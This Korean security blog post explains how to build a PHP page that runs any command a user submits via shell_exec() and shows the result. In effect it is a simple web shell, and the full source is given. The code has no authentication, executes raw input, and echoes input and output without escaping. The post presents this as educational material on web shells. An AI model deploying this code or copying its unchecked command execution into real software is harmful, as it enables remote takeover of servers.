서론
오늘은 PHP를 사용해 사용자가 입력한 명령어를 서버에서 실행하고 그 결과를 웹 페이지에 출력하는 간단한 웹 페이지를 만드는 방법에 대해서 알려드리려고 합니다. 사용자가 웹 페이지에서 cmd 명령어를 입력하면 서버에서 그 명령어를 실행하고 결과를 화면에 출력하는 간단한 PHP 스크립트를 작성하였습니다.
페이지 동작방식
페이지의 동작방식은 [사용자 입력 → 서버 명령어 처리 → 실행 결과 반환 순서 ]로 이루어진다. 해당 과정은 사용자가 입력한 값이 서버에 전달되는 방식과 서버에서 이를 처리하고 사용자에게 출력하는 예시 흐름은 다음과 같이 동작하게 된다.
- 사용자가 웹 페이지에 접속한다.
- 사용자가 명령어를 입력한 후 Execute 버튼을 클릭하면 해당 명령어가 서버로 전송된다.
- 서버에서 사용자가 입력한 명령어를 받아 처리한다.
- 처리된 결과값을 다시 사용자 웹페이지에 출력한다.
PHP & HTML Code
이 코드는 PHP의 shell_exec() 함수를 사용해서 서버에서 명령어를 실행하고 그 결과를 웹 페이지에 표시하는 코드입니다.
사용자가 명령어를 입력하면 POST 방식으로 서버에 전달되고 $_post ["cmd"]를 통하여 입력된 명령어를 가져오고 값이 없다면 빈 문자열을 할당하게 됩니다. shell_exec 함수는 서버에서 명령어를 실행하고 그 결과값을 문자열로 처리하게 됩니다.
<?php
// GET 방식으로 페이지 URL을 가져옴
$page = htmlspecialchars($_SERVER["PHP_SELF"]);
// POST 방식으로 cmd 값을 가져옴
$cmd = isset($_POST["cmd"]) ? $_POST["cmd"] : '';
// 명령어 실행 결과값을 반환
$result = '';
if (!empty($cmd)) {
// shell_exec 사용하여 명령어 실행
$result = shell_exec($cmd);
// 결과값이 있을 경우 줄바꿈을 HTML <br>로 변경
$result = str_replace("\n", "<br>", $result);
}
?>
<!-- HTML 폼을 작성 -->
<form action="<?= $page ?>" method="POST">
<input type="text" name="cmd" value="<?=$cmd?>">
<input type="submit" value="Execute">
</form>
<hr>
<table style="border: 1px solid black; background-color:black">
<tr>
<td style="color:white; font-size: 12px"><?=$result?></td>
</tr>
<!-- 명령어 실행 결과 출력 -->
</table>
127.0.0.1/cmd.php 웹페이지에 접속하면 다음과 같이 사용자가 명령어를 입력하는 텍스트 입력창과 Execute가 나타난다.
사용자가 명령어를 입력하는 텍스트 입력창에 ipconfig를 입력하고 Execute 버튼을 누르면 입력된 명령어가 서버로 전송되어 명령어를 처리하고 그 결과값을 웹 페이지에 출력하게 됩니다.
위에서 다룬 PHP 코드는 매우 간단하게 서버에서 명령어를 실행할 수 있도록 교육 목적으로 만들었습니다.
'CERT > Web' 카테고리의 다른 글
[Web] PHP기반 WebShell 인증기능 추가 (part2) (0) | 2024.09.23 |
---|---|
[Web] PHP기반으로 Web에서 파일 업로드 제작 (0) | 2024.09.17 |
[Web] GET&POST 방식 정의 및 차이점 (0) | 2024.09.17 |
[웹 취약점] 웹 셸(Web shell) 정의 및 종류 (1) | 2024.09.16 |
[웹 취약점] 파일 업로드 및 다운로드 취약점 개념 (1) | 2024.09.16 |